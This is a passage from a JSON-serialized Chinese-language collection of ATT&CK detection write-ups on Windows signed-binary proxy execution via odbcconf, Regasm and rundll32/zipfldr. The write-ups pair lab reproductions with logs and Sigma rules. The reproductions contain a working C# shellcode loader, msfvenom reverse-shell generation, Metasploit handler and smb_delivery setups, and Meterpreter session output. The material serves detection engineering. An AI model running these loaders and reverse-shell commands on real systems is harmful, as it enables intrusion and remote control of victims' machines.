DLLs.\nstatus: experimental\nauthor: Kirill Kiryanov, Beyu Denis, Daniil Yugoslavskiy, oscd.community\ndate: 2023/10/01\nreferences:\n  - https://attack.mitre.org/techniques/T1218/008/\n  - https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Odbcconf.yml\ntags:\n  - attack.defense_evasion\n  - attack.execution\n  - attack.t1218.008\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection_1:\n    EventID:\n      - 4688 # Windows安全日志\n      - 1    # Sysmon日志\n    Image|endswith: '\\odbcconf.exe'\n    CommandLine|contains:\n      - '/A'\n      - 'REGSVR'\n      - '.dll'\n  selection_2:\n    EventID:\n      - 4688\n      - 1\n    Image|endswith: '\\rundll32.exe'\n    ParentImage|endswith: '\\odbcconf.exe'\n  condition: selection_1 or selection_2\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\nfalsepositives:\n  - Legitimate use of odbcconf.exe for ODBC driver configuration\nlevel: medium\n```\n\n**规则说明**：\n- 检测`odbcconf.exe`执行，命令行包含`/A`、`REGSVR`或`.dll`。\n- 检测`rundll32.exe`由`odbcconf.exe`启动，提示DLL加载。\n- 覆盖Windows安全日志（Event ID 4688）和Sysmon日志（Event ID 1）。\n- 规则为实验性，需测试以减少合法ODBC配置的误报。\n\n### 建议\n\n1. **监控Odbcconf.exe活动**：\n   - 使用Sysmon（Event ID 1）捕获`odbcconf.exe`的进程创建，检查命令行是否包含`/A {REGSVR}`或`.dll`。\n   - 监控Event ID 3（网络连接），检测反向Shell连接（如TCP 53）。\n   - 监控Event ID 7（镜像加载），检测可疑DLL（如`payload.dll`）。\n\n2. **启用命令行和网络审计**：\n   - 配置Windows安全策略，启用进程跟踪（Event ID 4688）和WFP连接（Event ID 5156）审计。\n   - 部署Sysmon，配置捕获进程命令行、网络连接和镜像加载事件。\n\n3. **基线化行为**：\n   - 建立`odbcconf.exe`的正常使用基线，加载DLL或触发网络连接应罕见。\n   - 监控非预期父进程（如`powershell.exe`）或异常参数（如`.dll`）。\n\n4. **限制Odbcconf.exe使用**：\n   - 使用AppLocker或组策略限制`odbcconf.exe`的执行，仅允许特定场景。\n   - 限制非签名DLL的加载。\n\n5. **部署SIEM系统**：\n   - 使用SIEM工具（如Splunk、Elastic）分析安全日志和Sysmon日志，检测`odbcconf.exe`代理执行。\n   - 设置中优先级告警，针对`/A {REGSVR}`或`.dll`的使用。\n\n6. **行为链关联**：\n   - 将`odbcconf.exe`执行与其他可疑行为（如`rundll32.exe`启动、网络连接）关联，识别攻击链。\n   - 例如，检测`odbcconf.exe`加载DLL后是否发起C2通信。\n\n7. **网络防御**：\n   - 配置防火墙阻止`odbcconf.exe`或`rundll32.exe`的非必要出站连接（如TCP 53）。\n   - 监控异常IP或域名的网络流量。\n\n8. **测试与验证**：\n   - 在测试环境中模拟`odbcconf.exe`加载恶意DLL（如使用Meterpreter），验证检测规则有效性。\n   - 测试不同Windows版本和补丁级别，确认Payload执行的成功率。\n   - 调整规则阈值，排除合法ODBC配置的误报。\n\n## 参考推荐\n\n- MITRE ATT&CK T1218.008  \n  <https://attack.mitre.org/techniques/T1218/008/>\n- LOLBAS：Odbcconf.exe  \n  <https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Odbcconf.yml>\n- Windows白名单绕过技术（下）  \n  <http://www.safe6.cn/article/157#directory030494471069429444>\n- Atomic Red Team T1218.008  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.008/T1218.008.md>\n"
  },
  {
    "path": "Windows/07逃避防御/T1218.009-Win-使用Regasm.exe执行payload(白名单).md",
    "content": "# T1218.009-Win-使用Regasm.exe执行Payload（白名单）\n\n## 描述\n\n攻击者可能利用**Regasm.exe**或**Regsvcs.exe**代理执行恶意代码，规避安全工具的检测（MITRE ATT&CK T1218.009）。这两个工具是Windows内置的.NET程序集注册实用程序，由微软数字签名，用于注册COM组件，常被白名单或误报。攻击者可通过构造恶意DLL，利用`[ComRegisterFunction]`或`[ComUnregisterFunction]`属性在注册或注销时执行代码，即使注册失败也能触发Payload，绕过权限限制和应用程序白名单。\n\n本案例聚焦于使用`Regasm.exe`加载恶意DLL（如`Micropoor.dll`），通过`[ComUnregisterFunction]`执行Meterpreter反向Shell。此技术利用`Regasm.exe`的合法性和白名单特性，隐蔽性较高，适用于防御规避和初始访问。\n\n## 测试案例\n\n### 测试1：使用Regasm.exe执行恶意DLL Payload\n\n攻击者通过`Regasm.exe`加载签名过的恶意DLL，触发反向Shell。\n\n**环境要求**：\n- 攻击机：Kali Linux（或其他Metasploit支持的系统）\n- 靶机：Windows Server 2012（支持Windows 7及以上，需安装.NET Framework 4.0+）\n- 工具：Metasploit（生成Payload）、`csc.exe`（.NET编译器）、`sn.exe`（生成签名密钥）、`Regasm.exe`（系统自带）\n- 权限：普通用户\n- 路径：\n  - `C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Regasm.exe`\n  - `C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Regasm.exe`\n\n**攻击命令**（靶机）：\n```cmd\nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Regasm.exe /U Micropoor.dll\n```\n\n**说明**：\n- `/U`：注销模式，触发`[ComUnregisterFunction]`中的恶意代码。\n- `Micropoor.dll`：签名过的恶意DLL，包含Meterpreter Payload。\n- 即使注销失败，Payload也会执行。\n\n**清理命令**：\n```cmd\ntaskkill /IM Regasm.exe /F\n```\n\n## 检测日志\n\n- **Windows安全日志**：\n  - Event ID 4688：进程创建，记录`Regasm.exe`或`Regsvcs.exe`的执行（需启用进程跟踪审核）。\n  - Event ID 5156：Windows过滤平台（WFP）连接，记录反向Shell的网络连接（如TCP 4444）。\n- **Sysmon日志**：\n  - Event ID 1：进程创建，捕获`Regasm.exe`的命令行及父进程信息。\n  - Event ID 3：网络连接，记录`Regasm.exe`触发的C2连接。\n  - Event ID 7：镜像加载，记录`Micropoor.dll`的加载。\n\n**日志配置**：\n- 启用命令行审计：`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。\n- 部署Sysmon，配置捕获进程创建、网络连接和镜像加载事件。\n\n## 测试复现\n\n### 测试环境\n\n- **攻击机**：Kali Linux 2019，IP：192.168.126.146\n- **靶机**：Windows Server 2012，IP：192.168.126.156，Sysmon已部署，.NET Framework 4.0.30319安装\n- **工具**：Metasploit、Visual Studio（或Windows SDK提供`sn.exe`）、`csc.exe`\n\n### 测试过程\n\n#### 1. 生成恶意DLL的C#代码（攻击机或靶机）\n\n- 使用提供的C#代码模板（`regsvcs.cs`），替换Shellcode为Meterpreter Payload：\n  ```csharp\n  using System;\n  using System.EnterpriseServices;\n  using System.Runtime.InteropServices;\n\n  namespace regsvcser\n  {\n      public class Bypass : ServicedComponent\n      {\n          public Bypass() { Console.WriteLine(\"I am a basic COM Object\"); }\n\n          [ComRegisterFunction]\n          public static void RegisterClass(string key)\n          {\n              Console.WriteLine(\"I shouldn't really execute\");\n              Shellcode.Exec();\n          }\n\n          [ComUnregisterFunction]\n          public static void UnRegisterClass(string key)\n          {\n              Console.WriteLine(\"I shouldn't really execute either.\");\n              Shellcode.Exec();\n          }\n      }\n\n      public class Shellcode\n      {\n          public static void Exec()\n          {\n              byte[] shellcode = new byte[] { /* Meterpreter Payload from msfvenom */ };\n              UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);\n              Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);\n              IntPtr hThread = IntPtr.Zero;\n              UInt32 threadId = 0;\n              IntPtr pinfo = IntPtr.Zero;\n              hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);\n              WaitForSingleObject(hThread, 0xFFFFFFFF);\n          }\n\n          private static UInt32 MEM_COMMIT = 0x1000;\n          private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;\n\n          [DllImport(\"kernel32\")]\n          private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);\n\n          [DllImport(\"kernel32\")]\n          private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);\n\n          [DllImport(\"kernel32\")]\n          private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);\n      }\n  }\n  ```\n\n#### 2. 生成Meterpreter Payload（攻击机）\n\n**命令**：\n```bash\nmsfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=4444 -f csharp\n```\n\n**输出**（示例）：\n```csharp\nbyte[] shellcode = new byte[341] { 0xfc,0xe8,0x82,0x00,0x00,0x00, ... };\n```\n\n- 将生成的Shellcode替换C#代码中的`shellcode`数组。\n\n#### 3. 生成签名密钥（靶机）\n\n**命令**：\n```cmd\n\"C:\\Program Files (x86)\\Microsoft SDKs\\Windows\\v10.0A\\bin\\NETFX 4.8 Tools\\sn.exe\" -k key.snk\n```\n\n**说明**：\n- 使用`sn.exe`生成强名称密钥对（`key.snk`），用于DLL签名。\n- 需安装Windows SDK或Visual Studio。\n\n#### 4. 编译恶意DLL（靶机）\n\n**命令**：\n```cmd\nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe /r:System.EnterpriseServices.dll /target:library /out:Micropoor.dll /keyfile:key.snk regsvcs.cs\n```\n\n**说明**：\n- 使用`csc.exe`编译C#代码为DLL，引用`System.EnterpriseServices.dll`。\n- `/keyfile:key.snk`：为DLL签名，确保注册时通过验证。\n- 输出文件：`Micropoor.dll`。\n\n#### 5. 配置Metasploit监听（攻击机）\n\n**命令**：\n```bash\nmsfconsole\nuse exploit/multi/handler\nset PAYLOAD windows/meterpreter/reverse_tcp\nset LHOST 192.168.126.146\nset LPORT 4444\nset AutoRunScript migrate -f\nexploit\n```\n\n**说明**：\n- 配置反向TCP Shell监听，`AutoRunScript migrate -f`自动迁移进程以提升持久性。\n\n#### 6. 靶机执行Payload\n\n**命令**：\n```cmd\nC:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Regasm.exe /U Micropoor.dll\n```\n\n**结果**：\n- `Regasm.exe`加载`Micropoor.dll`，触发`[ComUnregisterFunction]`中的Shellcode。\n- 攻击机接收Meterpreter会话：\n  ```\n  [*] Started reverse TCP handler on 192.168.126.146:4444\n  [*] Sending stage (180291 bytes) to 192.168.126.156\n  [*] Meterpreter session 2 opened (192.168.126.146:4444 -> 192.168.126.156:49963) at 2023-10-01 10:00:00 +0800\n  meterpreter > getsid\n  Server SID: S-1-5-21-3661619627-1912079458-2426250727-500\n  ```\n\n#### 7. 清理\n\n**靶机**：\n```cmd\ntaskkill /IM Regasm.exe /F\ndel Micropoor.dll\ndel key.snk\n```\n\n**攻击机**：\n- 关闭Metasploit会话：`exit`\n\n## 测试留痕\n\n### Windows安全日志（Event ID 4688：进程创建）\n\n```xml\n日志名称: Security\n来源: Microsoft-Windows-Security-Auditing\n日期: 2023/10/01 10:00:00\n事件 ID: 4688\n任务类别: Process Creation\n级别: 信息\n用户: N/A\n计算机: WIN-SRV-2012\n描述:\n已创建新进程。\n\n进程信息:\n  新进程 ID: 0x9f8\n  新进程名称: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Regasm.exe\n  令牌提升类型: TokenElevationTypeDefault (1)\n  创建者进程 ID: 0x13c\n  创建者进程名称: C:\\Windows\\System32\\cmd.exe\n  进程命令行: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Regasm.exe /U Micropoor.dll\n```\n\n**分析**：\n- 日志记录`Regasm.exe`执行，命令行包含`/U Micropoor.dll`。\n- 父进程为`cmd.exe`，提示通过命令行触发。\n\n### Sysmon日志（Event ID 3：网络连接）\n\n```xml\n日志名称: Microsoft-Windows-Sysmon/Operational\n来源: Microsoft-Windows-Sysmon\n日期: 2023/10/01 10:00:00\n事件 ID: 3\n任务类别: Network connection detected\n级别: 信息\n用户: WIN-SRV-2012\\Administrator\n计算机: WIN-SRV-2012\n描述:\nNetwork connection detected:\nRuleName: technique_id=T1218.009,technique_name=Signed Binary Proxy Execution\nUtcTime: 2023-10-01 02:00:00.123\nProcessGuid: {bb1f7c32-2149-5e9b-0000-00107066a000}\nProcessId: 2552\nImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Regasm.exe\nProtocol: tcp\nDestinationIp: 192.168.126.146\nDestinationPort: 4444\nDestinationHostname: 192.168.126.146\n```\n\n**分析**：\n- 日志记录`Regasm.exe`发起TCP 4444连接，提示反向Shell。\n\n## 检测规则/思路\n\n### Sigma规则\n\n```yaml\ntitle: 检测Regasm.exe或Regsvcs.exe异常执行\ndescription: Detects suspicious execution of Regasm.exe or Regsvcs.exe loading potentially malicious DLLs.\nstatus: experimental\ndate: 2023/10/01\nreferences:\n  - https://attack.mitre.org/techniques/T1218/009/\n  - https://micro8.gitbook.io/micro8/contents-1/71-80/73-ji-yu-bai-ming-dan-regasm.exe-zhi-hang-payload-di-san-ji\ntags:\n  - attack.defense_evasion\n  - attack.execution\n  - attack.t1218.009\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection:\n    EventID:\n      - 4688 # Windows安全日志\n      - 1    # Sysmon日志\n    Image|endswith:\n      - '\\Regasm.exe'\n      - '\\Regsvcs.exe'\n    CommandLine|contains:\n      - '.dll'\n      - '/U'\n  condition: selection\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\nfalsepositives:\n  - Legitimate use of Regasm.exe or Regsvcs.exe for .NET COM registration\nlevel: high\n```\n\n**规则说明**：\n- 检测`Regasm.exe`或`Regsvcs.exe`执行，命令行包含`.dll`或`/U`。\n- 覆盖Windows安全日志（Event ID 4688）和Sysmon日志（Event ID 1）。\n- 规则为实验性，需测试以减少合法COM注册的误报。\n\n### 建议\n\n1. **监控Regasm.exe和Regsvcs.exe活动**：\n   - 使用Sysmon（Event ID 1）捕获`Regasm.exe`和`Regsvcs.exe`的进程创建，检查命令行是否包含`.dll`或`/U`。\n   - 监控Event ID 3（网络连接），检测反向Shell连接（如TCP 4444）。\n   - 监控Event ID 7（镜像加载），检测可疑DLL（如`Micropoor.dll`）。\n\n2. **启用命令行和网络审计**：\n   - 配置Windows安全策略，启用进程跟踪（Event ID 4688）和WFP连接（Event ID 5156）审计。\n   - 部署Sysmon，配置捕获进程命令行、网络连接和镜像加载事件。\n\n3. **基线化行为**：\n   - 建立`Regasm.exe`和`Regsvcs.exe`的正常使用基线，加载未知DLL或触发网络连接应罕见。\n   - 监控非预期父进程（如`powershell.exe`）或异常参数（如`/U`）。\n\n4. **限制Regasm.exe和Regsvcs.exe使用**：\n   - 使用AppLocker或组策略限制`Regasm.exe`和`Regsvcs.exe`的执行，仅允许特定场景。\n   - 限制非签名DLL的加载。\n\n5. **部署SIEM系统**：\n   - 使用SIEM工具（如Splunk、Elastic）分析安全日志和Sysmon日志，检测`Regasm.exe`代理执行。\n   - 设置高优先级告警，针对`.dll`加载或网络连接。\n\n6. **行为链关联**：\n   - 将`Regasm.exe`执行与其他可疑行为（如网络连接、子进程创建）关联，识别攻击链。\n   - 例如，检测`Regasm.exe`加载DLL后是否发起C2通信。\n\n7. **网络防御**：\n   - 配置防火墙阻止`Regasm.exe`的非必要出站连接（如TCP 4444）。\n   - 监控异常IP或域名的网络流量。\n\n8. **测试与验证**：\n   - 在测试环境中模拟`Regasm.exe`加载恶意DLL（如使用Meterpreter），验证检测规则有效性。\n   - 测试不同.NET Framework版本和补丁级别，确认Payload执行的成功率。\n   - 调整规则阈值，排除合法COM注册的误报。\n\n## 参考推荐\n\n- MITRE ATT&CK T1218.009  \n  <https://attack.mitre.org/techniques/T1218/009/>\n- 基于白名单Regasm.exe执行Payload  \n  <https://micro8.gitbook.io/micro8/contents-1/71-80/73-ji-yu-bai-ming-dan-regasm.exe-zhi-hang-payload-di-san-ji>\n- 免杀远控专题  \n  <http://sec.nmask.cn/article_content?a_id=8233eefd6b2671799b46d7cbab7ee672>\n- Microsoft文档：Regasm.exe  \n  <https://docs.microsoft.com/en-us/dotnet/framework/tools/regasm-exe-assembly-registration-tool>\n"
  },
  {
    "path": "Windows/07逃避防御/T1218.011-Win-使用Rundll32.exe执行payload(白名单).md",
    "content": "# T1218.011-Win-使用Rundll32.exe执行Payload（白名单）\n\n## 描述\n\n攻击者可能利用**rundll32.exe**调用受信任或恶意动态链接库（DLL），代理执行代码，规避安全工具的检测（MITRE ATT&CK T1218.011）。`rundll32.exe`是Windows内置工具，用于加载DLL并调用指定函数或序数，常用于合法系统操作，因此常被白名单或误报。攻击者可通过`rundll32.exe`加载远程或本地恶意DLL，执行恶意载荷，如Meterpreter反向Shell，实现防御规避、初始访问或持久化。\n\n本案例聚焦于通过`rundll32.exe`调用远程SMB共享中的恶意DLL（如`\\\\<IP>\\share\\test.dll,0`），利用Windows SMB协议加载并执行Payload。此技术利用`rundll32.exe`的白名单特性，结合网络文件共享的隐蔽性，增加检测难度。\n\n## 测试案例\n\n### 测试1：使用Rundll32.exe执行远程SMB共享的DLL Payload\n\n攻击者通过`rundll32.exe`加载远程SMB共享中的恶意DLL，触发反向Shell。\n\n**环境要求**：\n- 攻击机：Kali Linux（或其他Metasploit支持的系统）\n- 靶机：Windows 7（支持Windows 2003及以上）\n- 工具：Metasploit（生成Payload）、`rundll32.exe`（系统自带）\n- 权限：普通用户（需访问SMB共享的权限）\n- 路径：\n  - `C:\\Windows\\System32\\rundll32.exe`\n  - `C:\\Windows\\SysWOW64\\rundll32.exe`\n\n**攻击命令**（靶机）：\n```cmd\nrundll32.exe \\\\192.168.126.146\\huwSj\\test.dll,0\n```\n\n**说明**：\n- `\\\\192.168.126.146\\huwSj\\test.dll`：远程SMB共享中的恶意DLL。\n- `,0`：调用DLL的导出函数序数（通常为默认入口点）。\n- 执行触发Meterpreter反向Shell。\n\n**清理命令**：\n```cmd\ntaskkill /IM rundll32.exe /F\n```\n\n## 检测日志\n\n- **Windows安全日志**：\n  - Event ID 4688：进程创建，记录`rundll32.exe`的执行（需启用进程跟踪审核）。\n  - Event ID 5156：Windows过滤平台（WFP）连接，记录出站网络连接（如TCP 4444）。\n  - Event ID 5158：WFP绑定，记录`rundll32.exe`的网络活动。\n- **Sysmon日志**：\n  - Event ID 1：进程创建，捕获`rundll32.exe`的命令行和父进程信息。\n  - Event ID 3：网络连接，记录`rundll32.exe`的SMB（TCP 445）和C2（TCP 4444）连接。\n  - Event ID 7：镜像加载，记录加载的DLL（如`test.dll`）。\n\n**日志配置**：\n- 启用命令行审计：`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。\n- 部署Sysmon，配置捕获进程创建、网络连接和镜像加载事件。\n\n## 测试复现\n\n### 测试环境\n\n- **攻击机**：Kali Linux 2019，IP：192.168.126.146\n- **靶机**：Windows 7，IP：192.168.126.149，Sysmon已部署\n- **工具**：Metasploit（`exploit/windows/smb/smb_delivery`）\n\n### 测试过程\n\n#### 1. 配置Metasploit（攻击机）\n\n**命令**：\n```bash\nmsfconsole\nuse exploit/windows/smb/smb_delivery\nset SRVHOST 192.168.126.146\nset LHOST 192.168.126.146\nset LPORT 4444\nexploit\n```\n\n**输出**：\n```\n[*] Exploit running as background job 0.\n[*] Started reverse TCP handler on 192.168.126.146:4444\n[*] Started service listener on 192.168.126.146:445\n[*] Server started.\n[*] Run the following command on the target machine:\nrundll32.exe \\\\192.168.126.146\\huwSj\\test.dll,0\n```\n\n**说明**：\n- 配置SMB服务器托管恶意DLL（`test.dll`），监听反向TCP连接（端口4444）。\n\n#### 2. 靶机执行Payload\n\n**命令**：\n```cmd\nrundll32.exe \\\\192.168.126.146\\huwSj\\test.dll,0\n```\n\n**结果**：\n- `rundll32.exe`通过SMB协议加载`test.dll`，执行Payload。\n- 攻击机接收Meterpreter会话：\n  ```\n  [*] Sending stage (180291 bytes) to 192.168.126.149\n  [*] Meterpreter session 1 opened (192.168.126.146:4444 -> 192.168.126.149:49381) at 2023-10-01 10:00:00 +0800\n  meterpreter > getuid\n  Server username: 12306Br0-PC\\12306Br0\n  ```\n\n#### 3. 清理\n\n**靶机**：\n```cmd\ntaskkill /IM rundll32.exe /F\n```\n\n**攻击机**：\n- 关闭Metasploit会话：`exit`\n- 停止SMB服务器。\n\n## 测试留痕\n\n### Sysmon日志（Event ID 1：进程创建）\n\n```xml\n日志名称: Microsoft-Windows-Sysmon/Operational\n来源: Microsoft-Windows-Sysmon\n日期: 2023/10/01 10:00:00\n事件 ID: 1\n任务类别: Process Create\n级别: 信息\n用户: 12306Br0-PC\\12306Br0\n计算机: 12306Br0-PC\n描述:\nProcess Create:\nRuleName: technique_id=T1218.011,technique_name=Signed Binary Proxy Execution\nUtcTime: 2023-10-01 02:00:00.123\nProcessGuid: {bb1f7c32-2149-5e9b-0000-00107066a000}\nProcessId: 2608\nImage: C:\\Windows\\SysWOW64\\rundll32.exe\nFileVersion: 6.1.7600.16385\nDescription: Windows host process (Rundll32)\nProduct: Microsoft® Windows® Operating System\nCompany: Microsoft Corporation\nOriginalFileName: RUNDLL32.EXE\nCommandLine: rundll32.exe \\\\192.168.126.146\\huwSj\\test.dll,0\nCurrentDirectory: C:\\Users\\12306Br0\\\nUser: 12306Br0-PC\\12306Br0\nLogonGuid: {bb1f7c32-5fc3-5e99-0000-00201ae20600}\nLogonId: 0x6e21a\nTerminalSessionId: 1\nIntegrityLevel: Medium\nHashes: SHA1=963B55ACC8C566876364716D5AAFA353995812A8\nParentProcessGuid: {bb1f7c32-20fc-5e9b-0000-0010bd868700}\nParentProcessId: 3808\nParentImage: C:\\Windows\\System32\\cmd.exe\nParentCommandLine: \"C:\\Windows\\System32\\cmd.exe\"\n```\n\n**分析**：\n- 日志记录`rundll32.exe`加载远程DLL（`\\\\192.168.126.146\\huwSj\\test.dll`）。\n- 父进程为`cmd.exe`，提示通过命令行触发。\n\n### Windows安全日志（Event ID 4688：进程创建）\n\n```xml\n日志名称: Security\n来源: Microsoft-Windows-Security-Auditing\n日期: 2023/10/01 10:00:00\n事件 ID: 4688\n任务类别: Process Creation\n级别: 信息\n用户: N/A\n计算机: 12306Br0-PC\n描述:\n已创建新进程。\n\n进程信息:\n  新进程 ID: 0xa30\n  新进程名称: C:\\Windows\\SysWOW64\\rundll32.exe\n  令牌提升类型: TokenElevationTypeDefault (1)\n  创建者进程 ID: 0xefa\n  创建者进程名称: C:\\Windows\\System32\\cmd.exe\n  进程命令行: rundll32.exe \\\\192.168.126.146\\huwSj\\test.dll,0\n```\n\n**分析**：\n- 日志记录`rundll32.exe`的执行，命令行包含远程SMB路径。\n\n### Windows安全日志（Event ID 5156：WFP连接）\n\n```xml\n日志名称: Security\n来源: Microsoft-Windows-Security-Auditing\n日期: 2023/10/01 10:00:00\n事件 ID: 5156\n任务类别: Filtering Platform Connection\n级别: 信息\n用户: N/A\n计算机: 12306Br0-PC\n描述:\nWindows过滤平台已允许连接。\n\n应用程序信息:\n  进程 ID: 2608\n  应用程序名称: \\device\\harddiskvolume2\\windows\\syswow64\\rundll32.exe\n\n网络信息:\n  方向: 出站\n  源地址: 192.168.126.149\n  源端口: 49381\n  目标地址: 192.168.126.146\n  目标端口: 4444\n  协议: 6\n```\n\n**分析**：\n- 日志记录`rundll32.exe`发起TCP 4444连接，提示反向Shell。\n- 另有SMB连接（TCP 445）用于加载`test.dll`（可能在Event ID 3中记录）。\n\n## 检测规则/思路\n\n### Sigma规则\n\n```yaml\ntitle: 检测Rundll32.exe调用序数执行可疑DLL\ndescription: Detects suspicious execution of rundll32.exe loading DLLs by ordinal, potentially malicious.\nid: e79a9e79-eb72-4e78-a628-0e7e8f59e89c\nstatus: experimental\nauthor: Florian Roth\ndate: 2023/10/01\nreferences:\n  - https://attack.mitre.org/techniques/T1218/011/\n  - https://techtalk.pcmatic.com/2017/11/30/running-dll-files-malware-analysis/\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection:\n    EventID:\n      - 4688 # Windows安全日志\n      - 1    # Sysmon日志\n    Image|endswith: '\\rundll32.exe'\n    CommandLine|contains: ',#'\n  condition: selection\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\nfalsepositives:\n  - Legitimate use of rundll32.exe with ordinal calls (e.g., control panel applets)\nlevel: high\ntags:\n  - attack.defense_evasion\n  - attack.execution\n  - attack.t1218.011\n```\n\n**规则说明**：\n- 检测`rundll32.exe`执行，命令行包含序数调用（如`,#0`或`,0`）。\n- 覆盖Windows安全日志（Event ID 4688）和Sysmon日志（Event ID 1）。\n- 规则为实验性，需测试以减少合法序数调用的误报。\n\n### 建议\n\n1. **监控Rundll32.exe活动**：\n   - 使用Sysmon（Event ID 1）捕获`rundll32.exe`的进程创建，检查命令行是否包含远程路径或序数。\n   - 监控Event ID 3（网络连接），检测SMB（TCP 445）或C2（如TCP 4444）连接。\n   - 监控Event ID 7（镜像加载），检测可疑DLL（如`test.dll`）。\n\n2. **启用命令行和网络审计**：\n   - 配置Windows安全策略，启用进程跟踪（Event ID 4688）和WFP连接（Event ID 5156）审计。\n   - 部署Sysmon，配置捕获进程命令行、网络连接和镜像加载事件。\n\n3. **基线化行为**：\n   - 建立`rundll32.exe`的正常使用基线，加载远程DLL或使用序数调用应极为罕见。\n   - 监控非预期父进程（如`powershell.exe`）或异常参数（如SMB路径）。\n\n4. **限制Rundll32.exe使用**：\n   - 使用AppLocker或组策略限制`rundll32.exe`的执行，仅允许特定场景。\n   - 禁用非必要的SMB客户端功能，限制远程DLL加载。\n\n5. **部署SIEM系统**：\n   - 使用SIEM工具（如Splunk、Elastic）分析安全日志和Sysmon日志，检测`rundll32.exe`代理执行。\n   - 设置高优先级告警，针对远程DLL加载或序数调用。\n\n6. **行为链关联**：\n   - 将`rundll32.exe`执行与其他可疑行为（如网络连接、子进程创建）关联，识别攻击链。\n   - 例如，检测`rundll32.exe`加载DLL后是否发起C2通信。\n\n7. **网络防御**：\n   - 配置防火墙阻止`rundll32.exe`的非必要出站连接（如TCP 4444）。\n   - 限制SMB出站流量（TCP 445），防止远程DLL加载。\n   - 监控异常IP或域名的网络流量。\n\n8. **测试与验证**：\n   - 在测试环境中模拟`rundll32.exe`加载远程DLL（如使用Metasploit的`smb_delivery`），验证检测规则有效性。\n   - 调整规则阈值，排除合法序数调用的误报。\n\n## 参考推荐\n\n- MITRE ATT&CK T1218.011  \n  <https://attack.mitre.org/techniques/T1218/011/>\n- Windows白名单绕过技术  \n  <http://www.safe6.cn/article/155>\n- Atomic Red Team T1218.011  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218.011/T1218.011.md>\n- Microsoft文档：rundll32.exe  \n  <https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32>\n"
  },
  {
    "path": "Windows/07逃避防御/T1218.011-Win-使用Zipfldr.dll执行Payload(白名单).md",
    "content": "# T1218.011-Win-使用Zipfldr.dll执行Payload（白名单）\n\n## 描述\n\n攻击者可能利用**rundll32.exe**调用受信任的动态链接库（DLL）执行恶意代码，规避安全工具的检测（MITRE ATT&CK T1218.011）。`rundll32.exe`是Windows内置工具，用于加载DLL并调用指定函数，常用于正常系统操作，因此常被白名单或误报。攻击者可通过此功能代理执行恶意载荷，降低被检测的概率。\n\n**zipfldr.dll**是Windows自带的压缩文件夹处理组件（自Windows XP起），支持ZIP文件的压缩与解压，位于系统路径（`C:\\Windows\\System32`或`C:\\Windows\\SysWOW64`），可通过`rundll32.exe`调用其导出函数`RouteTheCall`执行任意可执行文件。此技术利用了`zipfldr.dll`的合法性，结合`rundll32.exe`的白名单特性，隐藏恶意行为。\n\n攻击者可能通过`rundll32.exe zipfldr.dll,RouteTheCall <payload>`执行恶意可执行文件（如后门、Meterpreter shell），实现初始访问、持久化或横向移动。\n\n## 测试案例\n\n### 测试1：使用rundll32.exe和zipfldr.dll执行Payload\n\n攻击者通过`rundll32.exe`调用`zipfldr.dll`的`RouteTheCall`函数，执行本地恶意可执行文件，获得反向Shell。\n\n**环境要求**：\n- 攻击机：Kali Linux（或其他Metasploit支持的系统）\n- 靶机：Windows Server 2012（支持Windows XP至Windows 10）\n- 工具：Metasploit（生成Payload）、`rundll32.exe`（系统自带）、`zipfldr.dll`（系统自带）\n\n**攻击命令**（靶机）：\n```cmd\nrundll32.exe zipfldr.dll,RouteTheCall .\\shell.exe\n```\n\n**说明**：\n- `shell.exe`：恶意可执行文件，需预先放置于指定路径。\n- `RouteTheCall`：`zipfldr.dll`的导出函数，负责执行指定文件。\n\n**清理命令**：\n```cmd\ndel .\\shell.exe\ntaskkill /IM shell.exe /F\n```\n\n## 检测日志\n\n- **Windows安全日志**：\n  - Event ID 4688：进程创建，记录`rundll32.exe`及其子进程（如`shell.exe`）的执行（需启用进程跟踪审核）。\n- **Sysmon日志**：\n  - Event ID 1：进程创建，捕获`rundll32.exe`和`shell.exe`的命令行及父进程信息。\n  - Event ID 3：网络连接，记录Payload的网络活动（如反向Shell）。\n  - Event ID 7：镜像加载，记录`zipfldr.dll`加载。\n\n**日志配置**：\n- 启用命令行审计：`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。\n- 部署Sysmon，配置捕获进程创建和网络连接事件。\n\n## 测试复现\n\n### 测试环境\n\n- **攻击机**：Kali Linux 2019，IP：192.168.126.146\n- **靶机**：Windows Server 2012，IP：192.168.126.156\n- **工具**：Metasploit，`msfvenom`\n\n### 测试过程\n\n#### 1. 